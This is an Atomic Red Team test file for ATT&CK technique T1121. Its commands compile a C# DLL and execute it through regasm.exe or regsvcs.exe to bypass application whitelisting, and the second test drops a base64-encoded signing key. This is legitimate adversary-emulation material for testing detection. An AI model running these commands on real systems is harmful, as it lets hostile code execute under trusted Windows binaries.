atomic-red-team/atomics/T1121/T1121.yaml

---
attack_technique: T1121
display_name: RegSvcs/RegAsm

atomic_tests:
- name: Regasm Uninstall Method Call Test
  description: |
    Executes the Uninstall Method, No Admin Rights Required
  supported_platforms:
    - windows
  input_arguments:
    file_name:
      description: Location of the payload
      type: Path
      default: T1121.dll
    source_file:
      description: Location of the CSharp source_file
      type: Path
      default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
  executor:
    name: command_prompt
    elevation_required: false
    command: |
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file}
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
      del #{file_name}

- name: Regsvs Uninstall Method Call Test
  description: |
    Executes the Uninstall Method, No Admin Rights Required, Requires SNK
  supported_platforms:
    - windows
  input_arguments:
    file_name:
      description: Location of the payload
      type: Path
      default: T1121.dll
    source_file:
      description: Location of the CSharp source_file
      type: Path
      default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
  executor:
    name: powershell
    elevation_required: false
    command: |
      $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
      $Content = [System.Convert]::FromBase64String($key)
      Set-Content key.snk -Value $Content -Encoding Byte
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file}
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
      del #{file_name}
      del key.snk